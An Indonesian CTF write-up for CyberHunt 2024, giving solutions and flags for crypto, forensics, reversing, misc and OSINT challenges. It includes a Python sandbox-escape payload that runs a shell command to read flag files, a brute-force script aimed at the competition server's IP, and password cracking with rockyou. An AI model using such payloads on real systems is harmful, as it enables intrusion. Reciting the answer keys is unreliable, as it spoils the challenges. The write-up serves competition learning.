51815999547491346475838775493379963575950945383094288905785578862781590155292357993465257441076750559390702777793879920773923360505729

dont\_leak\_this = 528436262580846762901857325732232736166648872939103083309075323048587144665954366777770148670341638915508142465585694148586624262254279715845025884663224007901604258112098741924026794890723351011365114928314766612423088250135432651223560612140330927943276397565467670534462207869414259529142429718464416773512359946991571592204492141250666736784231663247562147233712076630210133179093152151398423048305060473935185962540742726006346865417521629615431055243138663866994101573889476423432510959941832587087755700047074410076555077651720048033601793183807447694510380286157468177852775857722889745254569773294028714802587756819617526310246486562249308878287369930281829317109892460612723293059038039377951279889185229047320642775074454514818408542100144672509117014404047926851555589041911378576323871490499216596863639711990956042881047663425365554770338969149632362156926749689032941662498470212439140672375430670960299764832213587813403640167633921698621055954011608605679143972873686998704229434426363359898491268123599344516156578500620032253510315791194134471452469574313538124525100206752789188994952941057690705690718223779232894758631999316421367042043555780702270494361128263524494859425138025952452591616585550294890683685104

print(solve(c, n, dont\_leak\_this))



#### Flag: CYHUNT24{just\_a\_simple\_algebra\_am\_i\_right?} <a href="#h.qx36qwiia64j" id="h.qx36qwiia64j"></a>

### kembalikan fotoku <a href="#h.tawvb4fqa208" id="h.tawvb4fqa208"></a>



Gambar flag di split dijadikan chunk dengan length 5 yang di jadikan long dan dienkripsi pakai XOR yang key nya random. Kami bisa pakai 5 byte pertama dari header png kemudian XOR dengan hasil enkripsi pertama buat dapetin key, setelah itu tinggal deksripsi semua chunk.

from Crypto.Util.number import bytes\_to\_long, long\_to\_bytes

import string

png = "89 50 4E 47 0D 0A 1A 0A"

png\_long = bytes\_to\_long(bytes.fromhex(''.join(png.split()))\[:5])

chip = eval(open('enc', 'r').read())

key = chip\[0] ^ png\_long

print("Key :", key)

png = b""

for i in chip:

&#x20;   decrypted = long\_to\_bytes(i ^ key).rjust(5, b'\0')

&#x20;   png += decrypted

open('self\_solv.png', 'wb').write(png)

dan kami dapat flag CYHUNT24{d0Nt\_sH4R3\_mY\_iM4g3}.



#### Flag: CYHUNT24{d0Nt\_sH4R3\_mY\_iM4g3} <a href="#h.imkn0lz4es3b" id="h.imkn0lz4es3b"></a>

### RSA <a href="#h.fo7mjyjmg5ob" id="h.fo7mjyjmg5ob"></a>

calculate p pake gcd dp dan p2q

Crypto/RSA

from Crypto.Util.number import long\_to\_bytes, inverse

from math import gcd

\# Given values

ciphertext = 6679751571680153009963904682331184917652002856700102310232283862142510059360180548700458831963141409609920551415092207709728225180286265998724528164577674542248721526251187945599585717178191437930160757806807093902793807235144537860942319684760999843630442651226130860002909404140653471185313647715181302304167348924688037557405954539411557457882044330160211329312062720746325861916622922820920104281967898138703453429045946889126965213138749635812159404760369795951532507412006588445870437729196704275485530658165559396122865023696853894261433203860671549068300198104293392003636061195320565520679305383883882898704604559634890784729197249080759946890339250163066886325287412173193725229601090022511506412230800802290674678253497769900141951607190755458800862513784646884224494722467907534558045716790058316430899730082488292110364545682645526449625284655084352824888655261021276231604789263073577754238178023201953270541398611484040131436716568377922478723737147991263070279633895970368806063613324760527575876314365886699695723894144649502485701910377316805704678920436308732783312047975198912094727120936436700875408590797953864331729040548975810138259062653692644739165742002068121098949542299582433914931491801296451377581006636483

dp = 171432559101471989605646948356373748103604947361256607378340448850139917017741253759903745507057919262287422186222940360213785420605757333138847887731767022598405608474995330651947849082078370449736651288592860283221797983119927725117149200774804739974975582585523359416946408144385855153221559461347298824391132395892996924625640872166698317735741877365806943143135835009957625457973450121352962604530814817655901697483088999524541499291037003678660130712141021632221794174249924834077632177968501757212722623350575181797794958244328870841294336463187222306714995492272643611646928249482017303542563647469595369211254712548098832095540995311841074627538151877339371487927806145948905672833767915852929856220973560840386125633752412480320584458935038302142751449534187398925662384466751897711549687947862910839873293128396014847384039868091701077519788860107065614981153691686685326821058865631742737041863375989903668129520572806351954019608985002225703602063443485842326068527683024332639834458331067102353325840535706456324422275754723563198715550407175182648240718090477435547945193732546635158601952418224352960525259751828810794856217898929112965219114783525262615310830832190730442349789460621438028345913017708361465523133564202266062786788681281757147027464002581040633319572450555353324321699056478024157129773151732670142844483164508432539498373947180375305585469627835596667356476511772733667404728958877380598398949024045379136292741643874960237432332704625052528856617384339450570121280954511126937150643703664520808218298441310306024377957237049720519185727832578500913286023909348162473989113812550805225552724830261887490591714039944400527976071373184209831845969062119462403725052459177546892619818022391873329229206364783314296446725486658518678734803325482151370648102682365593547647791628684309371655283249776091365996509876023788183283

p2q = 213170963396891562143729893832305593956284174845169799407158675577110705655852548100992539024685605819040523438354858977086250927051314265096682933654811030453120355993278986527591427479217724393594363257765113070515263721083971223242626072880720581419978650145288765887646651182214510751858103451633012485610884049514075314470934936707881750297833515167875716398286561408739074084796622722760821747711526623749451276879787567817851745356924240775796394772442579161577074751879657031608875439664580204201692487743603940603018464632550634822614684162563342914622534096899198261578687727659671151167232592054166999563570889708448262394605837628857811991515889971291433914715772638211960415936759778304390577548067679510456479994850801235456371216662187652015317755739895815495111283612397090640609867328889881660712528196291865436926052849406375373713408563964846026093263911701059393127967976555276551426913678840649401811190075325584784349447556418171890714076070692905482708888254009586154239227598710507703178655793348942676198573019759816326439893896477510901166547609616895842071430538232916809944394150298378345872103063301628330221653850388439443364638019538570767613777320343878189983973545330874737453400095937886979792088374986323520843348511102325586784495504624319448813796476293969903137538257355998338779733642119548481876998281481405692762331628893501531291329441495308243568019180766627407280078643666235573172278294075588442969374279359865601439488703565838942636582392466277488366374194890249687124242483769387553299912110196370951410060473480026800086484176574417759880104620851539589554039438701036794016648069808210636519140497455612086833766213769594997981459162235532307853956081579590271809503536822605626989725511498994042990581546736877584625171747601769972545109503616616296913370130968957785947869343438375248167319517552596218503

e = 65537

\# Step 1: Compute p using gcd

p = gcd(dp, p2q)

\# Step 2: Derive q from n and p

q = p2q // (p \* p)

n = p \* q

\# Validate the computed q

assert p \* q == n, "p and q do not multiply to n"

\# Step 3: Compute phi and the private key d

phi = (p - 1) \* (q - 1)

d = inverse(e, phi)

\# Step 4: Decrypt the ciphertext

decrypted\_flag = pow(ciphertext, d, n)

\# Convert the decrypted flag back to bytes

decrypted\_flag\_bytes = long\_to\_bytes(decrypted\_flag)

\# Print the decrypted flag

print(decrypted\_flag\_bytes)

#### Flag: CYHUNT24{CHALL\_RSA\_WAJIB-ADA} <a href="#h.g8ck12m705dx" id="h.g8ck12m705dx"></a>

### &#x20;<a href="#h.7gs9as7fswvh" id="h.7gs9as7fswvh"></a>

### Misc <a href="#h.6rc228hl8n09" id="h.6rc228hl8n09"></a>

### find me <a href="#h.8s2pqj8ht3xh" id="h.8s2pqj8ht3xh"></a>



Diberikan sebuah gif yang isinya beberapa gambar random



Setelah kami lihat dengan lebih cermat, terdapat sebuah gambar yang terdapat QR code.



Kami pun melakukan scan pada QR tersebut dengan google lens.



#### Flag: CYHUNT24{nice\_tandanya\_matamu\_sehat} <a href="#h.nz7y6k285oug" id="h.nz7y6k285oug"></a>

### behind the email <a href="#h.76kl7t5qar9v" id="h.76kl7t5qar9v"></a>



Kami pun menjalankan command strings untuk melihat isinya.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FT2mJICxcBOxqodFblE0o%2Fimage16.png?alt=media)

Terlihat sebuah base64 text, kami pun langsung decode.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FwZY7bbTXzdLP6bZjshHU%2Fimage4.png?alt=media)

Hasil decode tadi ternyata sebuah link google docs.



Kami pun mencoba untuk melihat history editnya.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2Fx0mRZiFAD8pH9QDKpnjr%2Fimage3.png?alt=media)

#### Flag: CYHUNT24{cum4\_g1ni\_4ja\_gak\_us4h\_b1ngung} <a href="#h.vc13t3ynz4oy" id="h.vc13t3ynz4oy"></a>

### World Based <a href="#h.dptxk0tsse95" id="h.dptxk0tsse95"></a>





Diberikan sebuah text base64 yang sangat panjang. Nampaknya ini di encode dengan base64 berkali kali sehingga menghasilkan ciphertext yang sangat panjang. Untuk penyelesaiannya, kami gunakan cara manual, yaitu decode 1 persatu di cyberchef, namun cukup mudah dengan cara copy paste berulang ulang.



#### Flag: CYHUNT24{Ban9\_udah\_Ban99} <a href="#h.j7fwv554jsa4" id="h.j7fwv554jsa4"></a>

### Cari MD5 Hash <a href="#h.r0vdeudxpc5s" id="h.r0vdeudxpc5s"></a>



Diberikan sebuah file zip yang ketika si ekstrak mengeluarkan banyak file .txt.



Kami pun mencoba untuk melakukan strings ke semua file .txt tersebut.



#### Flag: CYHUNT24{Md5hash\_f1le\_itu\_Koenji} <a href="#h.ewu7nwfjls5q" id="h.ewu7nwfjls5q"></a>

### Jahil <a href="#h.fb2ikw24qubn" id="h.fb2ikw24qubn"></a>



Berikut yang di blacklist.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FdEbDAgHvj4gsAlQAk7Kc%2Fimage11.png?alt=media)

‘+breakpoint()+’

import os

os.system(‘cat fl\*’)

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FnivBPI4GEJSPIUpglQhU%2Fimage21.png?alt=media)

#### Flag: CYHUNT24{pyJa!l\_br3AkPoinT\_bu1ltIn\_xPlo!t} <a href="#h.cda0vjd7yks4" id="h.cda0vjd7yks4"></a>

### &#x20;<a href="#h.pow0au2jneub" id="h.pow0au2jneub"></a>

### ZipZig <a href="#h.exsu3bfys0p" id="h.exsu3bfys0p"></a>



Diberikan file zip yang ketika di unzip akan menjadi seperti berikut



setelah itu, setelah kami melihat lihat ternyata ada file yang aneh bernama .git, yang sebenarnya itu adalah folder untuk menyimpan informasi project seperti commit, alamat repo dan lain lain tapi kok filenya berupa zip?



oke mari kita coba untuk mengekstrak nya, biar tidak campur campur kita buat folder baru.



okee kita sudah ektrak lalu memasukkannya pada folder solve.\
setelah itu kita tinggal liat lognya ini merubah apa saja.



kami sudah mencoba untuk git log dan grep tidak menemukan apa apa setelah itu saya mencoba untuk git show satu” ternyata menemukannya di awal dengan commit message “modifikasi”

\
![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2F6oDJIqMJnPzX4NElKaA6%2Fimage17.png?alt=media)

#### Flag: CYHUNT24{g1t\_1s\_wh4t\_1t\_t4k3s} <a href="#h.je7rpedv0t9v" id="h.je7rpedv0t9v"></a>

### Benjamin Angel <a href="#h.7kwgnvjgp0b6" id="h.7kwgnvjgp0b6"></a>



refferensi : [https://github.com/Minto312/CTF/blob/144c1440a2eba1f5a3789552e37f05475b90ca12/TJCTF-2024/crypto/accountleak/server\_copy.py#L13](https://www.google.com/url?q=https://github.com/Minto312/CTF/blob/144c1440a2eba1f5a3789552e37f05475b90ca12/TJCTF-2024/crypto/accountleak/server_copy.py%23L13\&sa=D\&source=editors\&ust=1717349616168763\&usg=AOvVaw17Ix3bj2Hm8kYu9qE9xd7l)

kita brute dgn comparasion new valuenya yg dr servernya

from pwn import \*

from hashlib import sha512

r = remote('103.191.63.185', 31337)

def H(m):

&#x20;  return sha512(m).digest()

def xor(a, b):

&#x20;  return bytes(\[i ^ j for i, j in zip(a, b)])

def sign(m):

&#x20;  r.recvuntil(":> ")

&#x20;  r.sendline(m)

&#x20;  hash = r.recvline().decode().strip("").split(": ")\[1]

&#x20;  print(hash)

&#x20;  return hash

def main():

&#x20;  zpreimage = b'\x00'

&#x20;  zhash = H(zpreimage).hex()

&#x20;  flag = ""

&#x20;  to\_send = b''

&#x20;  while True:

&#x20;      for i in range(32, 129):

&#x20;          temp = to\_send + i.to\_bytes(1, 'big')

&#x20;          print("Sending: ", temp)

&#x20;          temp2 = sign(temp)

&#x20;          if temp2 == zhash:

&#x20;              flag += chr(i)

&#x20;              print("Found!", flag)

&#x20;              to\_send = flag.encode()

&#x20;              zpreimage += b'\x00'

&#x20;              zhash = H(zpreimage).hex()

&#x20;              break

&#x20;          else:

&#x20;              print("nope")

if \_\_name\_\_ == '\_\_main\_\_':

&#x20;  main()

#### Flag: CYHUNT24{3ncryp710n\_x0r\_w17h\_5h4\_512\_n07\_s3cur3\_1\_h0p3\_y0u\_ain7\_d0\_m4nu4lly} <a href="#h.6z7mbk13marw" id="h.6z7mbk13marw"></a>

### &#x20;<a href="#h.7z0ac7gx38na" id="h.7z0ac7gx38na"></a>

### Reverse Engineering <a href="#h.iyz0e0e0h71e" id="h.iyz0e0e0h71e"></a>

### Tebak password <a href="#h.ywfftopt6ail" id="h.ywfftopt6ail"></a>



Diberikan file ELF64 Executable, langsung saja kami membuka ida64.&#x20;

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FHWpYsb7OgS33SbFj9TuR%2Fimage6.png?alt=media)

Dan flagnya berhasil kami dapatkan.

#### Flag: CYHUNT24{juST\_R3aD\_IT} <a href="#h.fgedrxl7gb93" id="h.fgedrxl7gb93"></a>

### ular aneh <a href="#h.rxib4gav1umn" id="h.rxib4gav1umn"></a>

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FQWyJbhC3jnMLEq3cwXEC%2Fimage15.png?alt=media)

basically kita bisa gpt dan convert ke py

flag = \[

&#x20;   134, 178, 144, 170, 156, 168, 100, 104, 246, 232, 144, 146, 166, 190, 146,

&#x20;   230, 190, 160, 242, 232, 208, 96, 156, 190, 146, 220, 190, 200, 146, 166,

&#x20;   130, 166, 250

]

def dec():

&#x20;   dec = ''

&#x20;   for i in flag:

&#x20;       decrypt = chr(i >> 1)

&#x20;       dec += decrypt

&#x20;   return dec

\# Example usage

decrypted\_message = dec()

print(decrypted\_message)

#### Flag: CYHUNT24{tHIS\_Is\_Pyth0N\_In\_dISAS} <a href="#h.adntbkmul22f" id="h.adntbkmul22f"></a>

### static <a href="#h.3aud3c4599o8" id="h.3aud3c4599o8"></a>



secret di xor dengan 0x99.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2F92l7gKWrWvhmUdDh3NFW%2Fimage8.png?alt=media)

langsung aja di decode.



#### Flag: CYHUNT24{D0\_yoU\_kN0w\_wh4tiS\_St4tic\_m34N} <a href="#h.otw0luhutmep" id="h.otw0luhutmep"></a>

### Regoal <a href="#h.wgzfq2vnpxkh" id="h.wgzfq2vnpxkh"></a>



Pakai wireshark ada request dan useragent nya itu flagnya tinggal decode aja.



Setelah didecode.



#### Flag: CYHUNT24{g00d\_j0b\_w4rm\_4p} <a href="#h.8j1211onfysc" id="h.8j1211onfysc"></a>

### Gogen <a href="#h.ux7mh4q3qcux" id="h.ux7mh4q3qcux"></a>



Pada program, token dilakukan xor yang kemungkinan         resultnya adalah flag. karena kami tahu bahwa format flagnya CYHUNT24 Kami bisa menggunakan ini untuk mendapatkan key nya dan untungnya key hanya mempunyai panjang 3 karakter.



key nya adalah key, lanjut kami menggunakan key ini unduk decode xor nya.



#### Flag: CYHUNT24{w4s\_s0\_3z\_f0r\_g0l4ng} <a href="#h.sopj1aqee33a" id="h.sopj1aqee33a"></a>

### Digital Forensic <a href="#h.hbrx4a9jucj4" id="h.hbrx4a9jucj4"></a>

### barang bukti <a href="#h.l8yfh5aytgtd" id="h.l8yfh5aytgtd"></a>





Diberikan sebuah file APK with classes.dex. Kami pun mengekstraknya, lalu masuk ke directorynya. Berhubung pada deskripsinya meminta chat\_id, kami pun menjalankan perintah grep -ra ‘chat\_id’.



#### Flag: CYHUNT24{6350386314} <a href="#h.l7o5bnvjbsvz" id="h.l7o5bnvjbsvz"></a>

### kena heck <a href="#h.2j2f0z5aj67o" id="h.2j2f0z5aj67o"></a>



Diberikan sebuah log pcapng, kami mencoba untuk mencari flag dengan strings.



#### Flag: CYHUNT24{usb\_my\_fav\_St0rage} <a href="#h.d3aii18ehny7" id="h.d3aii18ehny7"></a>

### Flagstorage <a href="#h.jhzisv13zfmz" id="h.jhzisv13zfmz"></a>



Diberikan sebuah file flag.pptx. Kami pun langsung mengekstraknya. Setelah itu kami masuk ke directorynya dan cari flagnya dengan grep -ra ‘CYHUNT.

Flag: CYHUNT24{didyoukn0w\_that\_officed0cs\_us1ng\_pkzip\_head3r?}

### Lookin’ for Secrets <a href="#h.fwz6tqbv0rst" id="h.fwz6tqbv0rst"></a>

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FrZVmxGrWpjfaGCAfGMwq%2Fimage5.png?alt=media)

Diberikan sebuah file zip, yang ketika diekstrak akan mengeluarkan sangat banyak folder. Berdasarkan namanya, folder folder tersebut terlihat seperti folder windows. Kami pun mencoba untuk langsung mencari flagnya dengan grep. Commandnya sebagai berikut : grep -ra ‘CYHUNT’



#### Flag: CYHUNT24{appd4ta\_c4ch3data\_235wefs35} <a href="#h.vxhv3656tl5f" id="h.vxhv3656tl5f"></a>

### tebak aku <a href="#h.edqj6p2qckpi" id="h.edqj6p2qckpi"></a>



basically kita pake password yg ada di log untuk ngebrute zip nya pakai john

dan dpt sfwhfuwghwbgrgsdnvsjvs



dpt ni ada hex kita decode aja dpt flagnya

#### Flag: CYHUNT24{tetap\_ilmu\_padi\_abangku} <a href="#h.t3hd3bc561wk" id="h.t3hd3bc561wk"></a>

### IMG <a href="#h.e7e7ut12tric" id="h.e7e7ut12tric"></a>



Diberikan sebuah gambar logo Cyber Specters, kami pun membukanya dengan Aperisolve.



#### Flag: CYHUNT24{masih\_pemanasan\_iniii} <a href="#h.5iz9fcqumxx2" id="h.5iz9fcqumxx2"></a>

### Steg <a href="#h.z5kjpnmsip4g" id="h.z5kjpnmsip4g"></a>



stegseek stegkeknya.jpeg -wl \~/seclists/Passwords/Leaked-Databases/rockyou.txt

StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

\[i] Found passphrase: "cyber"

\[i] Original filename: "flag.txt".

\[i] Extracting to "stegkeknya.jpeg.out".

cat stegkeknya.jpeg.out

CYHUNT24{masih\_easy-lahh\_yaaa}

#### Flag: CYHUNT24{masih\_easy-lahh\_yaaa} <a href="#h.vn4sq9smo55s" id="h.vn4sq9smo55s"></a>

### bit/bit <a href="#h.cf6wd7gc3ac4" id="h.cf6wd7gc3ac4"></a>



kita extract aj filenya dan kita zsteg file 29512…jpg nya

#### Flag: CYHUNT24{1n\_god\_w3\_trust} <a href="#h.52v3ghj874zd" id="h.52v3ghj874zd"></a>

### rumah makan on day monday <a href="#h.azbqyc6c6149" id="h.azbqyc6c6149"></a>



kita stegseek

stegseek mencoba-kesempatan-ke-2-kali\_4.jpg -wl \~/seclists/Passwords/Leaked-Databases/rockyou.txt

muncul txt huruf jepang dan nomer, kita extract nomernya dan jadiin ascii

#### Flag: CYHUNT24{m1s1\_suks3s\_k4mu\_c1n4\_as33l111} <a href="#h.pch4l1ibetq" id="h.pch4l1ibetq"></a>

### Child’s Play <a href="#h.csj149q9hm9g" id="h.csj149q9hm9g"></a>

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FdbYvd8bKIiJbz2w6NK8F%2Fimage20.png?alt=media)

disini terdapat sebuah png, tapi hexnya broken kita lgsg fix aja dibagian header dan footernya , cek menggunakan nayuki.io dan ini perbandingan fixed dan aslinya



#### Flag: CYHUNT24{br0ken\_h3x\_i5\_EasY} <a href="#h.l8sl3xazeu17" id="h.l8sl3xazeu17"></a>

### Huh Its Me Again <a href="#h.h8sakc48wems" id="h.h8sakc48wems"></a>



terdapat deskripsi csgo/forsaken ( kita bisa asumsi word.exe ) karna forsaken memakai cheat dgn menyamarkan nama nya jadi word.exe , lgsg krna ini dfir kepikiran artifact word yaitu template Normal.dotm, lgsg saya cari normal.dotm nya

dan bener ada macros disini



keliatan beberapa hex dan pas saya concrate semua hexnya  jadi base64 dan pas saya decode dpt flagnya

#### Flag: CYHUNT24{t3mpl4t3\_d4ng3r0us\_s3r10usly} <a href="#h.678d60faq0am" id="h.678d60faq0am"></a>

### ayo maen bola <a href="#h.k2xvolat68zk" id="h.k2xvolat68zk"></a>



Dari hint yang diberikan bahwa gambar ini sudah disisipi sebuah text dengan metode lsb, langsung saja ini solver yang kami buat.

img = open("2side.jpg", "rb").read()

binary = \[format(byte, '08b') for byte in img]

p = ""

for i in binary:

&#x20;   p += i\[len(i)-1:]

print(p)

dan ketika kami decode binernya.



#### Flag: CYHUNT24{T0pP\_SLUR} <a href="#h.fqx053uppiau" id="h.fqx053uppiau"></a>

### Osint <a href="#h.kds3jmpafrnu" id="h.kds3jmpafrnu"></a>

### no feedback <a href="#h.w2djzra1vfq5" id="h.w2djzra1vfq5"></a>



Lalu kami search di google “Sikapmu seakan-akan menyuruh diriku pergi Tapi perkataanmu seolah aku penting bagimu”

Lagu tersebut milik Lyodra Ginting. Setelah itu kami mencari instagramnya lalu kami cari postingan di tanggal 15/04/2024.



Pada tanggal tersebut, Lyodra sedang berada di AYANA Komodo Waecicu Beach. Kami pun mencari lokasi tersebut di google.



#### Flag: CYHUNT24{86554} <a href="#h.wz643nienebw" id="h.wz643nienebw"></a>

### citylight <a href="#h.wkmdci5vjuzr" id="h.wkmdci5vjuzr"></a>





Kami pun membuka gambar tersebut di [lens.google.com](https://www.google.com/url?q=http://lens.google.com\&sa=D\&source=editors\&ust=1717349616211180\&usg=AOvVaw3eT4FDRo_6NToH9_UVVTrB).



Dari google lens, kami mendapatkan info bahwa tempat tersebut adalah Kairos Coffee yang berada di Semarang, kami pun melihatnya di Google Maps untuk kode plus lokasinya.



#### Flag: CYHUNT24{X9X4+69} <a href="#h.ogyw6v1etuhg" id="h.ogyw6v1etuhg"></a>

### Koko Doko? <a href="#h.q95bfu10dfpb" id="h.q95bfu10dfpb"></a>





Terlihat terdapat plang “Toko Marbun”, kami pun mencarinya di google maps dan ketemu [Toko Marbun](https://www.google.com/url?q=https://www.google.com/maps/@-6.9671031,107.5916668,3a,75y,138.74h,93.73t/data%3D!3m6!1e1!3m4!1sLCVvPbxkJq_HbZEFbnUr6Q!2e0!7i16384!8i8192?coh%3D205409%26entry%3Dttu\&sa=D\&source=editors\&ust=1717349616212658\&usg=AOvVaw0KDzOLdcW8HV53ypTrZulI). Ini adalah titik koordinatnya.

#### Flag: CYHUNT24{-6.454,106.672} <a href="#h.azbjl5dzhf4u" id="h.azbjl5dzhf4u"></a>

### old pict <a href="#h.lfzn38m61eco" id="h.lfzn38m61eco"></a>



diberikan satu file hint berupa base64 dan image





intinya dari foto tersebut kita mencari cari tempat kolam renang yang ada dan kita menemukan untuk foto yang sama. Dan flag nya terdapat pada ulasannya

#### Flag: CYHUNT24{hehehe\_congrats////} <a href="#h.3d17wcnimlvx" id="h.3d17wcnimlvx"></a>

### masalalu <a href="#h.7ou4pxq9xpze" id="h.7ou4pxq9xpze"></a>

\
Kami pun mencari url web jkt48.



Setelah itu, kami mencari [jkt48.com](https://www.google.com/url?q=http://jkt48.com\&sa=D\&source=editors\&ust=1717349616215271\&usg=AOvVaw3WRxgRzFCG3jdvMObtKeWi) pada [web.archive.org](https://www.google.com/url?q=http://web.archive.org\&sa=D\&source=editors\&ust=1717349616215456\&usg=AOvVaw0gsnqya7-WLn4gM9aGBFL0).



#### Flag: CYHUNT24{23\_09\_2011} <a href="#h.yg4mya2lvrmv" id="h.yg4mya2lvrmv"></a>

### searchengine <a href="#h.tfadqhfnp8li" id="h.tfadqhfnp8li"></a>



Kami pun mencari situs yang dimaksud di google.



Setelah itu, kami cari username @Cicix-Xi di quora.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FR9UabC1amzxfqaERPJ4I%2Fimage2.png?alt=media)

#### Flag: CYHUNT24{3h\_ketemu\_d1sini} <a href="#h.ke045prf1jds" id="h.ke045prf1jds"></a>

### &#x20;<a href="#h.vv3zf4g2ghxr" id="h.vv3zf4g2ghxr"></a>

### &#x20;<a href="#h.t44pw2awuwas" id="h.t44pw2awuwas"></a>

### &#x20;<a href="#h.bn5r78cbywrp" id="h.bn5r78cbywrp"></a>

### Ingris Berduka <a href="#h.9oomyb3rl320" id="h.9oomyb3rl320"></a>



Diberikan file foto seperti berikut\


oke mari kita gunakan google earth untuk menyelesaikannya.

setelah sedikit mengulik kita berhasil mendapatkan flagnya.

![](https://945112445-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbrxXzY5PMGua4UW86ukK%2Fuploads%2FSSjD4UAGONa59xhNIfsz%2Fimage7.png?alt=media)

di url berikut

[google earth](https://www.google.com/url?q=https://earth.google.com/web/search/Eiffel%2BTower,%2BAvenue%2BGustave%2BEiffel,%2BParis,%2BFrance/@48.86353085,2.30186213,37.9519577a,0d,15y,287.32311578h,71.34957563t,0r/data%3DCigiJgokCTVKCYtIiDRAETFKCYtIiDTAGUEQclCe9khAIeCcKZruIkrAIhoKFndUbUl2QWJfSTVlNHNxWWN0emRzYncQAjoDCgEw\&sa=D\&source=editors\&ust=1717349616218295\&usg=AOvVaw3OHQHYINz0sEZVQeAD4A3E)

#### Flag: CYHUNT24{10665} <a href="#h.tnjya38erxy9" id="h.tnjya38erxy9"></a>

### Destinasi <a href="#h.kips4anj3ddh" id="h.kips4anj3ddh"></a>



Kami coba cari di Google Maps, dan ketemu bahwa nama tempatnya adalah Obelix Sea View.



#### Flag: CYHUNT24{Obelix\_Sea\_View} <a href="#h.nzaxq5xiz568" id="h.nzaxq5xiz568"></a>

### OSIG <a href="#h.l70f05sz7xkl" id="h.l70f05sz7xkl"></a>



Berdasarkan deskripsi dan judul challnya, saya langsung terpikirkan pada postingan Cyber Specters di IG yang membahas tentang CTF.



#### Flag: CYHUNT24{EASY\_CHALL\_OSINT} <a href="#h.e4seivwzpdc5" id="h.e4seivwzpdc5"></a>

CyberHunt 2024 | N2L
